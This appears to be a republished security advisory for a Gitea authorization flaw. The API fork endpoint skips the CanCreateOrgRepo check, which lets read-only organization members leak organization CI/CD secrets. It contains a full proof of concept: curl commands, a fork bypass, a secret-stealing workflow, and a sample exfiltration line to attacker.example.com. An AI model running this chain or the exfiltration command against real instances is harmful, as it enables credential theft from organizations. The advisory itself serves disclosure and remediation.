GHSA-fhx7-m96w-mv29 CVE-2026-22555 GO-2026-5365
Gitea: API Fork Missing CanCreateOrgRepo Check Allows Org Secret Exfiltration
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.39%
- Chance of exploitation in the next 30 days. Higher than 32.77% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
1.26.0- Upgrade code.gitea.io/gitea to this version or later
Description
Summary
The API endpoint POST /api/v1/repos/{owner}/{repo}/forks only checks IsOrgMember() when a user forks a repository into an organization, but does not check CanCreateOrgRepo(). The web UI fork handler correctly checks both. This allows a read-only organization member — in a team with can_create_org_repo=false — to create repositories in the organization namespace via the API. The attacker receives full admin permissions on the forked repository, can enable Actions, push arbitrary workflow files, and exfiltrate all organization-level CI/CD secrets (deploy keys, cloud credentials, API tokens) through the runner infrastructure.
Steps To Reproduce
1. Environment setup
Start a Gitea instance with Actions enabled:
# docker-compose.yml
cat > docker-compose.yml << 'EOF'
version: '3'
services:
gitea:
image: gitea/gitea:1.23
container_name: gitea-poc
ports:
- "3000:3000"
volumes:
- gitea-data:/data
environment:
- GITEA__database__DB_TYPE=sqlite3
- GITEA__server__ROOT_URL=http://localhost:3000/
- GITEA__security__INSTALL_LOCK=true
- GITEA__actions__ENABLED=true
volumes:
gitea-data:
EOF
docker compose up -d
# Wait for startup
sleep 15
# Create admin user
docker exec -u git gitea-poc gitea admin user create \
--admin --username admin --password 'Admin1234!' \
--email admin@example.com --must-change-password=false
2. Create the target environment (as admin)
# Get admin token
ADMIN_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/admin/tokens" \
-u "admin:Admin1234!" -H "Content-Type: application/json" \
-d '{"name": "setup", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Create attacker user
curl -s -X POST "http://localhost:3000/api/v1/admin/users" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"attacker","password":"Attacker123!","email":"attacker@example.com","must_change_password":false}'
# Create organization
curl -s -X POST "http://localhost:3000/api/v1/orgs" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"username":"target-org","visibility":"public"}'
# Create a source repository in the org
curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"source-repo","auto_init":true}'
# Create a read-only team with can_create_org_repo=false
TEAM_ID=$(curl -s -X POST "http://localhost:3000/api/v1/orgs/target-org/teams" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"readonly-team","permission":"read","can_create_org_repo":false,"units":["repo.code","repo.issues"]}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# Add attacker to the read-only team
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/members/attacker" \
-H "Authorization: token $ADMIN_TOKEN"
# Add source-repo to the team so attacker can read it
curl -s -X PUT "http://localhost:3000/api/v1/teams/$TEAM_ID/repos/target-org/source-repo" \
-H "Authorization: token $ADMIN_TOKEN"
# Create organization secrets (simulating real CI/CD credentials)
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/DEPLOY_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"sk-live-test-deploy-key-1234567890abcd"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_ACCESS_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"AKIAIOSFODNN7EXAMPLE"}'
curl -s -X PUT "http://localhost:3000/api/v1/orgs/target-org/actions/secrets/AWS_SECRET_KEY" \
-H "Authorization: token $ADMIN_TOKEN" -H "Content-Type: application/json" \
-d '{"data":"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"}'
3. Register an Actions runner
# Get runner registration token
REG_TOKEN=$(docker exec -u git gitea-poc gitea actions generate-runner-token)
# Start act_runner (adjust network name if needed)
NETWORK=$(docker inspect gitea-poc --format '{{range $key, $val := .NetworkSettings.Networks}}{{$key}}{{end}}')
docker run -d --name act-runner --network "$NETWORK" \
-e GITEA_INSTANCE_URL=http://gitea-poc:3000 \
-e GITEA_RUNNER_REGISTRATION_TOKEN="$REG_TOKEN" \
-e GITEA_RUNNER_LABELS=ubuntu-latest:docker://node:20-bookworm \
-v /var/run/docker.sock:/var/run/docker.sock \
gitea/act_runner:latest
# Wait for runner registration
sleep 15
4. Verify attacker CANNOT create repos in the org (expected: 403)
# Get attacker token
ATTACKER_TOKEN=$(curl -s -X POST "http://localhost:3000/api/v1/users/attacker/tokens" \
-u "attacker:Attacker123!" -H "Content-Type: application/json" \
-d '{"name": "poc", "scopes": ["all"]}' | python3 -c "import sys,json; print(json.load(sys.stdin)['sha1'])")
# Try creating a repo directly — should fail
curl -s -o /dev/null -w "Direct repo creation: HTTP %{http_code}\n" \
-X POST "http://localhost:3000/api/v1/orgs/target-org/repos" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"name":"should-fail","auto_init":true}'
# Expected output: Direct repo creation: HTTP 403
# Verify attacker cannot access org secrets via API
curl -s -o /dev/null -w "Access org secrets: HTTP %{http_code}\n" \
"http://localhost:3000/api/v1/orgs/target-org/actions/secrets" \
-H "Authorization: token $ATTACKER_TOKEN"
# Expected output: Access org secrets: HTTP 403
5. Exploit: Fork into the org via API (THE BYPASS)
# Fork the source repo into the org — this should also fail but doesn't
FORK_RESULT=$(curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/source-repo/forks" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"organization":"target-org","name":"evil-fork"}')
echo "$FORK_RESULT" | python3 -c "
import sys,json
d = json.load(sys.stdin)
print(f'Fork created: {d[\"full_name\"]}')
print(f'Permissions: admin={d[\"permissions\"][\"admin\"]}, push={d[\"permissions\"][\"push\"]}')
"
# Expected output:
# Fork created: target-org/evil-fork
# Permissions: admin=True, push=True
The attacker now has admin+push access to an org-owned repository, despite being in a team with can_create_org_repo=false.
6. Enable Actions and push exfiltration workflow
# Enable Actions on the fork
curl -s -X PATCH "http://localhost:3000/api/v1/repos/target-org/evil-fork" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d '{"has_actions":true}'
# Push a workflow that references org secrets
WORKFLOW=$(cat << 'WFEOF'
name: exfiltrate
on: [push]
jobs:
steal:
runs-on: ubuntu-latest
steps:
- name: Leak org secrets
env:
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_KEY }}
run: |
echo "=== SECRET EXFILTRATION ==="
echo "DEPLOY_KEY length: ${#DEPLOY_KEY}"
echo "AWS_ACCESS_KEY length: ${#AWS_ACCESS_KEY}"
echo "AWS_SECRET_KEY length: ${#AWS_SECRET_KEY}"
echo "DEPLOY_KEY prefix: ${DEPLOY_KEY:0:4}..."
echo "AWS_ACCESS_KEY prefix: ${AWS_ACCESS_KEY:0:4}..."
echo "AWS_SECRET_KEY prefix: ${AWS_SECRET_KEY:0:4}..."
echo "=== END EXFILTRATION ==="
WFEOF
)
curl -s -X POST \
"http://localhost:3000/api/v1/repos/target-org/evil-fork/contents/.gitea/workflows/steal.yml" \
-H "Authorization: token $ATTACKER_TOKEN" -H "Content-Type: application/json" \
-d "{\"content\":\"$(echo -n "$WORKFLOW" | base64 -w0)\",\"message\":\"add CI\"}"
7. Verify secret exfiltration
# Wait for the runner to execute the workflow (60-120 seconds)
sleep 90
# Check the Actions run page in browser or via API:
echo "View results at: http://localhost:3000/target-org/evil-fork/actions"
Expected output in the workflow logs:
=== SECRET EXFILTRATION ===
DEPLOY_KEY length: 37
AWS_ACCESS_KEY length: 20
AWS_SECRET_KEY length: 40
DEPLOY_KEY prefix: sk-l...
AWS_ACCESS_KEY prefix: AKIA...
AWS_SECRET_KEY prefix: wJal...
=== END EXFILTRATION ===
All three organization-level secrets are accessible to the attacker's workflow. In a real attack, the workflow would exfiltrate secrets to an attacker-controlled endpoint (e.g., curl -d "$SECRET" https://attacker.example.com/collect).
Impact
A read-only organization member — with no repository creation rights (can_create_org_repo=false) — can exfiltrate all organization-level CI/CD secrets by exploiting a missing authorization check in the API fork endpoint. The web UI correctly enforces the CanCreateOrgRepo permission, but the API does not, creating a classic API-vs-web authorization inconsistency.
The attack chain is: (1) fork an existing org repo back into the same org via the API, bypassing the CanCreateOrgRepo check; (2) receive admin permissions on the fork as its creator; (3) enable Actions and push a workflow that references org secrets; (4) the org's runner picks up the job (runners match on repository.owner_id), and org secrets are injected into the workflow environment (fetched by Repo.OwnerID); (5) the workflow exfiltrates all org secrets.
Organization secrets commonly include deploy keys, cloud credentials (AWS IAM keys, GCP service accounts), container registry tokens, and personal access tokens with broad scope. Stolen credentials enable lateral movement to cloud infrastructure, private repositories, and external services far beyond the Gitea instance itself. The attacker can also push arbitrary code under the organization's trusted namespace, creating supply chain risk for downstream consumers.
This is particularly dangerous because organizations commonly use read-only teams for auditors, reviewers, contractors, or new employees — precisely the users who should NOT have access to production secrets.
Supporting Material/References
- poc-fork-authz-bypass.zip — ZIP archive containing the full exploit script and README
- Vulnerable code — API fork handler (missing
CanCreateOrgRepocheck): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/api/v1/repo/fork.go#L135-L144 - Correct code — Web fork handler (has
CanCreateOrgRepocheck): https://github.com/go-gitea/gitea/blob/79f96b3e24/routers/web/repo/fork.go#L181-L189 - Runner task assignment (matches on
owner_id): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/actions/task.go#L245-L248 - Secret injection (fetches by
Repo.OwnerID): https://github.com/go-gitea/gitea/blob/79f96b3e24/models/secret/secret.go#L167 - Fork creator gets admin permissions: https://github.com/go-gitea/gitea/blob/79f96b3e24/services/repository/create.go#L433-L440
- Related fix: PR #34031 fixed a similar bypass via repo transfers, confirming this class of authorization inconsistency is treated as a vulnerability
- OWASP API Security Top 10 2023: API5 — Broken Function Level Authorization
- OWASP Top 10 2021: A01 — Broken Access Control
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.26.0 |
1.26.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.26.0
- go
go get code.gitea.io/gitea@v1.26.0 && go mod tidy
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-2fcr-jfvc-vgg2 Gitea: Two SSRF findings | High | Also affects code.gitea.io/gitea |
| GHSA-fw57-jgch-pgf3 Gitea: ParseAcceptLanguage quadratic-time DoS via Locale middleware on unauthenticated requests | High | Also affects code.gitea.io/gitea |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor